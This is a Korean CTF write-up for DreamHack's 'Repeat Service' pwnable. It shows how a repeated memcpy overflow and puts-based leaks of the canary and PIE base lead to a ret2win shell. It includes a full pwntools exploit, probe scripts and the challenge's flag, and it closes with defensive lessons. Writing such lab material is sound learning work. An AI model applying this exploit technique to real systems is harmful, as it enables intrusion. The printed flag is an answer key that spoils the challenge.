문제: DreamHack — Repeat Service 분류: Pwnable 난이도: 🥉 Bronze 1 FLAG:
DH{fbe2067c4a1ee6e099397b333cfaa36dd958e493cd530ba0a53ae15d349b547e}
문제 설명은 짧다 — "문자열을 입력하면 반복해서 출력해 주는 편리한 서비스"이고,
"문자열을 계속 출력하다 보면 플래그를 얻을 수 있을지도?"라는 묘한 힌트가 붙어 있다.
이름값대로 memcpy 로 입력을 반복 복사해 출력하는데, 그 반복이 바로 버퍼 경계를 넘긴다.
Bronze 1 치고는 방어가 빽빽하다 — PIE·스택 카나리·NX·Full RELRO 가 전부 켜져 있다.
셸을 띄울 win() 은 있지만 PIE 라 주소를 모르고, 복귀 주소를 덮으려면 카나리를 지나야 한다.
그런데 끝에서 결과를 puts 로 뱉기 때문에, 이 한 줄이 카나리와 PIE 베이스를 모두 흘려 준다.
그 두 누출을 어떻게 "반복 memcpy 의 채움 경계"에 맞춰 짜내는지가 이 문제의 전부다.
먼저 보호기법부터 확인한다.
file extracted/deploy/main; python3 chk.py# chk.py — pwntools 로 보호기법을 뽑는다
from pwn import ELF
e = ELF('./extracted/deploy/main')
문제 개요
| 항목 | 값 | 의미 |
|---|---|---|
| 제공 파일 | main(ELF), flag, Dockerfile | socat 이 main 을 5000 포트에 그대로 물림 → 원격 = 로컬 docker |
| 분류 / 난이도 | Pwnable / 🥉 Bronze 1 | |
| PIE | 켜짐 | 코드(win)·main 주소가 매 실행 랜덤 → 코드 베이스 누출 필수 |
| Canary | 있음 | buf 와 복귀 주소 사이를 지나야 하니 카나리 값 누출 필수 |
| NX | 켜짐 | 스택 셸코드 불가 → 기존 win() 재활용(ret2win) |
| RELRO | Full | GOT 덮기 불가 |
| 핵심 취약점 | 반복 memcpy 의 마지막 청크가 buf[1000] 경계를 넘김 | 카나리·saved rbp·복귀 주소까지 덮을 수 있음 |
풀이 흐름은 이렇다. ① puts(buf) 가 "채운 경계 바로 뒤"를 흘리는 성질로 카나리를 누출하고,
② 같은 성질을 다른 경계에 맞춰 PIE 베이스(socat 런타임에서 main 포인터가 스택에 스필됨)를
누출한 뒤, ③ 오버플로로 카나리를 복원하고 복귀 주소를 win() 으로 덮고, ④ "Too long" 분기로
루프를 빠져나와 셸을 띄운다. docker(원격 동일 환경)에서 셸을 확인한 뒤 라이브 서버에 그대로 적용했다.
🧩 배경 — 반복 memcpy 루프
제공된 소스 main.c 는 짧다. 핵심은 main 의 while(1) 루프다.
cat extracted/main.c![클릭하여 확대 main.c 전체 — initialize/win(system("/bin/sh"))/main 으로 구성되고, main 안에서 inp[80]·buf[1000] 을 두고 read·scanf 로 패턴과 길이를 받아 memcpy 로 반복 복사한 뒤 printf("%s", buf) 로 출력하는 while 루프가 보인다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-repeat-service-writeup%2F07_source.png&w=3840&q=75)
패턴 문자열 inp(최대 80바이트)와 목표 길이 target_len(최대 1000)을 받아,
buf(1000바이트)에 inp 를 target_len 이 찰 때까지 반복 복사한다.
char inp[80] = {0};
char buf[1000] = {0};
// ...
int len = read(STDIN_FILENO, inp, 80); // len <= 80
if (len == 0) break;
if (inp[len - 1] == '\n') { inp[len - 1] = 0; len--; }
int target_len = 0;
scanf("%d", &target_len);
if (target_len > 1000) { puts("Too long :("); break; } // (1)
int count = 0;
while (count < target_len) {
memcpy(buf + count, inp, len); // (2) 마지막 청크가 경계를 넘긴다
count += len;
}
printf("%s\n", buf); // (3) 컴파일되면 puts(buf)세 곳이 이 문제의 전부다.
- (2) 오버플로:
count는0, len, 2·len, …로 증가하다target_len이상이 되면 멈춘다. 즉 마지막memcpy는count < target_len ≤ 1000인 지점에서 시작해len바이트를 더 쓴다.len을 크게 잡으면 그 마지막 청크가buf[1000]을 넘어 카나리·saved rbp·복귀 주소까지 닿는다. 채움이 끝나는 바이트 오프셋은 항상N = m·len(len 의 배수) 형태가 된다. - (3) 누출 창구:
printf("%s\n", buf)는 컴파일되면puts(buf)다.puts는 첫 널 바이트에서 멈춘다.buf를 널 없이N까지 채우면,buf[N]부터 스택의 실제 값이 널을 만날 때까지 그대로 출력된다 — 이게 누출이다. - (1) 탈출구:
target_len > 1000이면"Too long :("후break한다. 뒤에서 보듯 EOF 없이 복귀를 트리거하는 열쇠다.
🔬 코드 정찰 — 스택 레이아웃
objdump 로 마지막 memcpy 루프와 카나리 검사를 본다.
objdump -d -M intel extracted/deploy/main | sed -n "/1436:/,/1498:/p"![클릭하여 확대 objdump 디스어셈블 — memcpy 루프(lea rcx,[rbp-0x3f0]; add rcx,rax; lea rax,[rbp-0x440]; call memcpy)와 끝의 puts(buf), 그리고 카나리 검사(sub rdx, fs:0x28; __stack_chk_fail)가 보인다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-repeat-service-writeup%2F02_objdump.png&w=3840&q=75)
여기서 오프셋을 읽어낸다. inp 는 [rbp-0x440], buf 는 [rbp-0x3f0](memcpy 목적지 베이스),
카나리는 [rbp-0x8] 이다. buf 가 1000바이트(0x3e8)이므로 끝은 정확히 rbp-0x3f0+0x3e8 = rbp-0x8,
즉 카나리가 buf 바로 뒤에 붙어 있다. 런타임에서 실제 값으로 확인해 보면:
gdb -q -batch -x stack.gdb --args extracted/deploy/main < feed.in 2>&1 | grep -E "buf |buf\+|ret is"
정리하면 buf 기준 오프셋은 이렇다.
| 오프셋 | 내용 | 특징 |
|---|---|---|
buf+1000 (rbp-0x8) | 스택 카나리 | 최하위 바이트가 항상 0x00 |
buf+1008 (rbp+0x00) | saved rbp | 스택 주소 → 상위 2바이트가 항상 0x00 |
buf+1016 (rbp+0x08) | 복귀 주소 | __libc_start_call_main(libc) |
💣 핵심 취약점 — "채움 경계 바로 뒤"만 샐 수 있다
puts(buf) 는 첫 널에서 멈추므로, 누출되는 건 우리가 널 없이 채운 경계 N 바로 뒤의 값이다.
그런데 N = m·len(len 의 배수)이고, 복구해야 할 두 값의 위치는 공교롭게도 이렇게 막혀 있다.
- 카나리(
buf+1000): 최하위 바이트가0x00이라,buf[1000]까지만 비우고 한 바이트를 비-널로 덮으면(N = 1001) 그 뒤buf[1001..1007]= 카나리의 상위 7바이트가 샌다 (최하위 바이트는0x00으로 이미 알고 있다).N = 1001 = 13·77이니len = 77로 정확히 맞출 수 있다. - 복귀 주소(
buf+1016): 여기까지puts가 닿으려면 사이의 카나리(1000)·saved rbp 상위 널(1014, 1015)을 전부 비-널로 덮어야 하는데,1000..1015를 덮으면서1016을 안 건드리려면 채움 경계가 정확히N = 1016이어야 한다. 그런데1016 = 8·127이라 80 이하의 어떤len으로도 나눠떨어지지 않는다(len = 8은 최대N = 1000까지밖에 못 간다). 즉 복귀 주소(libc)는 puts 로 못 샌다.
마찬가지로 스택에 스필된 main 포인터가 로컬(비-socat) 환경에서 놓이던 buf+1048 = 8·131 도
80 이하로 나눠떨어지지 않는다. 각 오프셋을 "채움 경계로 정확히 멈출 수 있는 len" 기준으로 뽑아 보면 한눈에 보인다.
python3 reach.py# reach.py — 각 타깃 오프셋에 puts 채움 경계 N 을 정확히 맞출 수 있는 len (80 이하)
def valid_lens(off):
return [l for l in range(2, 81) if off % l == 0 and off - l <= 999]
rows = [
('canary leak via buf+1001', 1001, '13*77'),
('saved RIP (libc) buf+1016', 1016, '8*127'),
('main ptr (socat) buf+1032', 1032, '24*43'),
('main ptr (local) buf+1048', 1048, '8*131'),
]
for name, off, fac in rows:
ls = valid_lens(off)
tag = ('len=' + ','.join(map(str, ls))) if ls else '(none) -> puts cannot stop here'
print(f'{name} = {fac:>7} {tag}')
카나리는 len = 77 로 바로 뽑힌다. 실제로 6번 연결해 보면 매번 최하위 바이트 0x00 에
상위 7바이트가 랜덤인 정상 카나리가 나온다.
python3 canary_probe.py
문제는 PIE 다. 복귀 주소(libc)도, 로컬에서 보이던 main 포인터도 puts 로 못 흘린다.
여기서 한참 막혔다 — "코드 베이스를 못 흘리면 PIE 를 어떻게 뚫지?" 였다.
▶🐛 삽질 — 복귀 주소(libc) 누출을 억지로 뚫으려던 시도들
puts 로 복귀 주소(libc)만 흘리면 system 으로 바로 갈 수 있으니, 사이의 널을 어떻게든
비-널로 만들려고 여러 방법을 시도했다. 전부 같은 벽에 막혔다.
- saved rbp 의 널(
1014, 1015)을 먼저 비-널로 덮고 나중 라운드에서 읽기:buf는 한 번만 0으로 초기화되니 라운드 사이에 값이 유지된다. 그런데 오버플로 청크는len바이트가 연속이라,1015를 덮는 순간1016(복귀 주소)까지 같이 덮인다. 복귀 주소의 원래 값을 모르니 복원도 불가 → 읽어 봤자 내가 쓴 패턴만 나온다. - 채움 경계를
N = 1016에 맞추기:1016 = 8·127, 80 이하 약수 없음. 불가능. main포인터(비-socat 로컬에선buf+1048) 누출:1048 = 8·131, 역시 80 이하 약수 없음.
로컬 glibc 2.42 의 process 환경에서 도달 가능한 모든 N 을 전수 조사해도 코드 포인터는
한 건도 안 나왔다. "이 바이너리는 puts 로 코드를 못 흘린다"가 로컬 기준 결론이었다.
🔑 돌파구 1 — PIE 는 "런타임이 다르면" 샌다
막힌 지점에서 가정을 하나 의심했다. 스택에 어떤 포인터가 어느 오프셋에 놓이는지는
프로그램을 띄운 환경(argv·envp·레지스터 상태)에 따라 달라진다. 로컬에서 process 로 띄운
것과, 실제 문제처럼 socat EXEC:./main 로 띄운 것은 main 호출 직전 레지스터 구성이 다르다.
그래서 원격과 완전히 같은 환경(제공된 Dockerfile 그대로, ubuntu 22.04 · glibc 2.35 · socat)에서
다시 쟀다. 그랬더니 socat 런타임에서는 __libc_start_call_main 이 스필한 레지스터 중 하나가
rbp+0x18 = buf+1032 에 main 함수 포인터(= PIE 베이스 + 0x128a) 로 올라와 있었다.
그리고 1032 = 24·43 이라 len = 43 으로 채움 경계를 정확히 맞출 수 있다.
# leak_probe.py — socat 런타임에서 main 포인터(PIE+0x128a)가 buf+1032 에 스필됨을 확인
from pwn import *
context.log_level = 'error'
def leak():
r = remote('127.0.0.1', 5000)
r.recvuntil(b'Pattern: ')
r.send(bytes([0x41 + (i % 26) for i in range(43)])) # len=43 -> fill up to buf+1032
r.recvuntil(b'Target length: '); r.sendline(b'990')
blob = r.recvuntil(b'Pattern: '); r.close()
body = blob[:-len(b'Pattern: ')][:-1] # buf content up to first NUL
return u64(body[1032:1038].ljust(8, b'\x00'))
for _ in range(6):
v = leak(); base = v - 0x128a
print(f'leak@buf+1032 = {hex(v)} PIE base = {hex(base)} page-aligned={(base & 0xfff)==0}')python3 leak_probe.py
6회 모두 하위 12비트가 0인 PIE 베이스가 나온다 — ASLR 로 상위만 바뀔 뿐 main 포인터가
매 연결 안정적으로 그 자리에 있다. len = 43, target = 990 이면 마지막 청크가
[989, 1032) 를 덮어 buf[1032] 직전까지 비-널로 채우므로, puts 가 buf[1032] 부터 6바이트를
흘린다. PIE_base = (흘린 값) - 0x128a, win = PIE_base + 0x1270 이다.
🔑 돌파구 2 — "Too long" 으로 루프를 빠져나와 셸을 살린다
복귀 주소를 win()(= system("/bin/sh"))으로 덮는 것까지는 ret2win 그대로다. 문제는
이 루프가 복귀하는 유일한 길이 read()==0(EOF) 라는 점이다. 그런데 EOF 를 보내면
system("/bin/sh") 가 띄운 셸의 stdin 도 같은 소켓이라 즉시 EOF → 셸이 명령을 받기도 전에 종료된다.
▶🐛 삽질 — EOF 로 복귀시켰더니 /bin/sh 가 바로 죽었다
처음엔 오버플로 후 shutdown('send') 로 EOF 를 보내 read()==0 → break → win 을 트리거했다.
PIE·카나리 누출은 완벽했고 uid=1000(pwn) 까지 떴지만, /bin/sh 가 stdin EOF 를 만나
명령을 하나도 못 읽고 끝나 플래그를 못 받았다.
그러면 system("cat flag") 처럼 비대화형으로 돌리면 되는데, 그러려면 rdi 를 명령 문자열
주소로 세팅할 pop rdi 가젯이 필요하다. 하지만 이 작은 바이너리에는 pop rdi 가젯이 없다.
ROPgadget --binary extracted/deploy/main | grep -iE "pop rdi|pop rsi|: ret$|leave ; ret|pop rbp ; ret"
ret·leave;ret·pop rbp;ret 뿐이라 rdi 를 임의로 못 세운다. libc 베이스도 없어 libc 가젯도 못 쓴다.
열쇠는 (1) 의 "Too long" 분기다. target_len > 1000 을 보내면 memcpy 루프를 아예 건너뛰고
break 로 while(1) 을 빠져나가 return → 카나리 검사 → leave; ret 로 EOF 없이 복귀한다.
즉 오버플로를 심어 둔 다음, 다음 라운드에서 패턴은 아무거나 주고 target_len = 1001 만 보내면,
소켓을 닫지 않은 채 복귀가 일어나 /bin/sh 가 살아 있는 stdin 으로 명령을 받는다.
정렬도 하나 챙긴다. win 진입 시 rsp 가 16정렬이면 system 내부 movaps 에서 터질 수 있어,
복귀 주소 자리에 PIE 의 ret 가젯(PIE+0x101a)을 하나 끼워 8바이트 밀어 정렬을 맞췄다.
🎯 익스플로잇 — 조립
len = 80, target = 1000 이면 마지막 청크가 [960, 1040) 을 덮고, buf[1000] = inp[40] 이 된다.
그래서 inp 를 이렇게 배치한다.
inp 오프셋 | 덮는 위치 | 값 |
|---|---|---|
inp[40:48] | buf+1000 카나리 | 누출한 카나리(복원) |
inp[48:56] | buf+1008 saved rbp | 미사용(0) |
inp[56:64] | buf+1016 복귀 주소 | ret 가젯 (PIE+0x101a, 정렬용) |
inp[64:72] | buf+1024 | win (PIE+0x1270) |
복귀가 일어나면 ret → ret_gadget → win → system("/bin/sh") 순으로 흐르고, 이때 셸 stdin 은
살아 있으므로 cat flag 로 바로 회수한다. 먼저 docker(원격 동일 환경)에서 검증했다.
python3 solve.py 127.0.0.1 5000
카나리·PIE 누출 → ret2win → "Too long" 복귀 → 셸까지 로컬에서 완전히 돌았다
(docker 의 로컬 flag 는 더미라 DH{fake_flag}). 이제 라이브 서버에 주소만 바꿔 그대로 적용한다.
🚀 Full Exploit
#!/usr/bin/env python3
# Repeat Service (DreamHack, Bronze 1, pwnable) — full remote exploit
#
# bug: the memcpy repeat loop
# while (count < target_len) { memcpy(buf + count, inp, len); count += len; }
# with target_len<=1000 and len<=80 lets the final chunk run past buf[1000],
# reaching up to buf+1065 — enough to overwrite canary, saved rbp, saved RIP (buf+1016).
#
# mitigations: PIE + stack canary + NX + Full RELRO. win() = system("/bin/sh") @ PIE+0x1270.
#
# puts(buf) prints up to the first NUL, leaking whatever sits right past the filled region:
# * canary : len=77 -> fill boundary N=1001 -> puts spills canary[1..7] (byte0 is the NUL)
# * PIE : under the socat runtime main (PIE+0x128a) is spilled at buf+1032 (= rbp+0x18);
# 1032 = 24*43 is a reachable fill boundary (len=43) -> leak it
#
# return path: the loop leaves on EOF OR on the "Too long :(" break (target_len>1000).
# we use the latter so /bin/sh keeps a live stdin (EOF would close it).
from pwn import *
import sys
context.binary = './extracted/deploy/main'
context.log_level = 'info'
HOST = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 5000
r = remote(HOST, PORT)
r.recvuntil(b'Pattern: ')
def rnd(pat, target):
"""one loop iteration; returns the printed buf content (NUL-terminated string)."""
r.send(pat)
r.recvuntil(b'Target length: ')
r.sendline(str(target).encode())
blob = r.recvuntil(b'Pattern: ')
assert blob.endswith(b'Pattern: ')
body = blob[:-len(b'Pattern: ')]
assert body.endswith(b'\n')
return body[:-1] # buf content up to (not incl) the first NUL
# round 1: leak canary (len=77 -> N=1001 -> canary[1..7] follow the fill)
b1 = rnd(bytes([0x41 + (i % 26) for i in range(77)]), 1000)
canary = u64(b'\x00' + b1[1001:1008])
log.info('canary = %#018x', canary)
# round 2: leak PIE base (len=43 -> N=1032 -> main pointer at rbp+0x18)
b2 = rnd(bytes([0x41 + (i % 26) for i in range(43)]), 990)
pie = u64(b2[1032:1038].ljust(8, b'\x00')) - 0x128a
log.info('pie base = %#018x', pie)
assert pie & 0xfff == 0 and pie >> 44, 'PIE leak looks wrong'
win = pie + 0x1270
ret = pie + 0x101a # alignment ret gadget
# round 3: overflow (len=80 -> last chunk [960,1040); buf[1000]=inp[40])
pay = bytearray(b'B' * 80)
pay[40:48] = p64(canary) # buf+1000 canary
pay[48:56] = p64(0) # buf+1008 saved rbp (unused)
pay[56:64] = p64(ret) # buf+1016 -> ret gadget
pay[64:72] = p64(win) # buf+1024 -> win -> system("/bin/sh")
assert pay[79] != 0x0a
rnd(bytes(pay), 1000)
# round 4: target_len>1000 -> "Too long :(" -> break -> return -> win, stdin stays open
r.send(b'A')
r.recvuntil(b'Target length: ')
r.sendline(b'1001')
r.sendline(b'echo PWNED; id; cat /flag 2>/dev/null; cat flag 2>/dev/null')
if args.I:
r.interactive()
else:
r.sendline(b'echo DONE_MARKER_777')
try:
data = r.recvuntil(b'DONE_MARKER_777', timeout=6)
print('\n==== shell output ====')
print(data.decode(errors='replace'))
except Exception as e:
print('shell did not respond:', e, r.clean(1))라이브 서버 주소를 인자로 넘겨 그대로 실행한다.
python3 solve.py host3.dreamhack.games 19797
한 번에 uid=1000(pwn) 셸과 함께 플래그가 떨어졌다.
DH{fbe2067c4a1ee6e099397b333cfaa36dd958e493cd530ba0a53ae15d349b547e}
📝 결론
작은 복사 루프 하나가 세 겹 방어를 전부 무력화했다.
반복 memcpy 는 "길이를 조금 넘길 수 있는" 사소한 버그처럼 보이지만, 마지막 청크가 버퍼
경계를 넘으면서 카나리·복귀 주소까지 닿았고, 끝에서 그 버퍼를 puts 로 뱉는 설계가 카나리와
PIE 베이스를 모두 누출하는 통로가 됐다. 정리하면 이렇다.
- 복사 길이 검증은 "마지막 청크"까지 봐야 한다.
count < target_len만 보고len바이트를 무조건 쓰면, 목표 길이를 지켰어도 실제 쓰기는target_len + len - 1까지 넘칠 수 있다. 경계 검사는count + len <= sizeof(buf)여야 했다. - "출력 전용 버퍼"도 누출 통로다.
puts(buf)는 널까지 뱉으므로, 버퍼를 널 없이 채우는 경로가 있으면 그 뒤의 스택 값이 전부 샌다. 카나리·PIE 가 있어도 이런 누출 한 줄이면 뚫린다. - 누출은 환경에 따라 달라진다. 같은 바이너리라도 로컬
process와socat런타임의 스택 구성이 달라, 로컬에서 "안 샌다"고 결론 낸 PIE 베이스가 원격 동일 환경에서는 안정적으로 샜다. 반드시 제공된 Dockerfile 그대로의 환경에서 검증해야 하는 이유다. - 방어자 관점에선 ① 길이 검사를 올바르게, ② 출력 전에 버퍼를 명시적으로 널 종단,
③ 애초에 디버그용
win()같은system호출을 배포본에 남기지 않는 것이 각각의 고리를 끊는다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…